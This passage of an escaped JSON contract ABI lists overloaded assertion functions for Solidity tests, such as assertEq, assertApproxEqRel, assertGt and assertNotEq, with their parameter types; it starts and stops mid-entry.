uts\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqAbsDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRel\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"maxPercentDelta\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertApproxEqRelDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"left\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"right\",\"type\":\"bytes32[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256[]\",\"name\":\"left\",\"type\":\"int256[]\"},{\"internalType\":\"int256[]\",\"name\":\"right\",\"type\":\"int256[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"left\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"right\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"left\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"right\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"left\",\"type\":\"address[]\"},{\"internalType\":\"address[]\",\"name\":\"right\",\"type\":\"address[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"left\",\"type\":\"address[]\"},{\"internalType\":\"address[]\",\"name\":\"right\",\"type\":\"address[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"left\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"right\",\"type\":\"bool\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"left\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"right\",\"type\":\"address\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256[]\",\"name\":\"left\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"right\",\"type\":\"uint256[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool[]\",\"name\":\"left\",\"type\":\"bool[]\"},{\"internalType\":\"bool[]\",\"name\":\"right\",\"type\":\"bool[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256[]\",\"name\":\"left\",\"type\":\"int256[]\"},{\"internalType\":\"int256[]\",\"name\":\"right\",\"type\":\"int256[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"left\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"right\",\"type\":\"bytes32\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256[]\",\"name\":\"left\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"right\",\"type\":\"uint256[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"left\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"right\",\"type\":\"bytes\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"left\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"right\",\"type\":\"bytes32\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"left\",\"type\":\"string[]\"},{\"internalType\":\"string[]\",\"name\":\"right\",\"type\":\"string[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"left\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"right\",\"type\":\"bytes32[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"left\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"right\",\"type\":\"bytes\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool[]\",\"name\":\"left\",\"type\":\"bool[]\"},{\"internalType\":\"bool[]\",\"name\":\"right\",\"type\":\"bool[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes[]\",\"name\":\"left\",\"type\":\"bytes[]\"},{\"internalType\":\"bytes[]\",\"name\":\"right\",\"type\":\"bytes[]\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string[]\",\"name\":\"left\",\"type\":\"string[]\"},{\"internalType\":\"string[]\",\"name\":\"right\",\"type\":\"string[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"left\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"right\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes[]\",\"name\":\"left\",\"type\":\"bytes[]\"},{\"internalType\":\"bytes[]\",\"name\":\"right\",\"type\":\"bytes[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"left\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"right\",\"type\":\"bool\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"}],\"name\":\"assertEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertEqDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertFalse\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"condition\",\"type\":\"bool\"}],\"name\":\"assertFalse\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"}],\"name\":\"assertGe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"}],\"name\":\"assertGe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertGeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertGeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"}],\"name\":\"assertGt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"}],\"name\":\"assertGt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertGtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertGtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertGtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"}],\"name\":\"assertLe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"}],\"name\":\"assertLe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLe\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertLeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertLeDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"}],\"name\":\"assertLt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"}],\"name\":\"assertLt\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertLtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"left\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"right\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertLtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"assertLtDecimal\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"left\",\"type\":\"bytes32[]\"},{\"internalType\":\"bytes32[]\",\"name\":\"right\",\"type\":\"bytes32[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256[]\",\"name\":\"left\",\"type\":\"int256[]\"},{\"internalType\":\"int256[]\",\"name\":\"right\",\"type\":\"int256[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"left\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"right\",\"type\":\"bool\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes[]\",\"name\":\"left\",\"type\":\"bytes[]\"},{\"internalType\":\"bytes[]\",\"name\":\"right\",\"type\":\"bytes[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool\",\"name\":\"left\",\"type\":\"bool\"},{\"internalType\":\"bool\",\"name\":\"right\",\"type\":\"bool\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool[]\",\"name\":\"left\",\"type\":\"bool[]\"},{\"internalType\":\"bool[]\",\"name\":\"right\",\"type\":\"bool[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"left\",\"type\":\"bytes\"},{\"internalType\":\"bytes\",\"name\":\"right\",\"type\":\"bytes\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address[]\",\"name\":\"left\",\"type\":\"address[]\"},{\"internalType\":\"address[]\",\"name\":\"right\",\"type\":\"address[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int256\",\"name\":\"left\",\"type\":\"int256\"},{\"internalType\":\"int256\",\"name\":\"right\",\"type\":\"int256\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256[]\",\"name\":\"left\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"right\",\"type\":\"uint256[]\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bool[]\",\"name\":\"left\",\"type\":\"bool[]\"},{\"internalType\":\"bool[]\",\"name\":\"right\",\"type\":\"bool[]\"},{\"internalType\":\"string\",\"name\":\"error\",\"type\":\"string\"}],\"name\":\"assertNotEq\",\"outputs\":[],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"left\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"right\",\"type\":\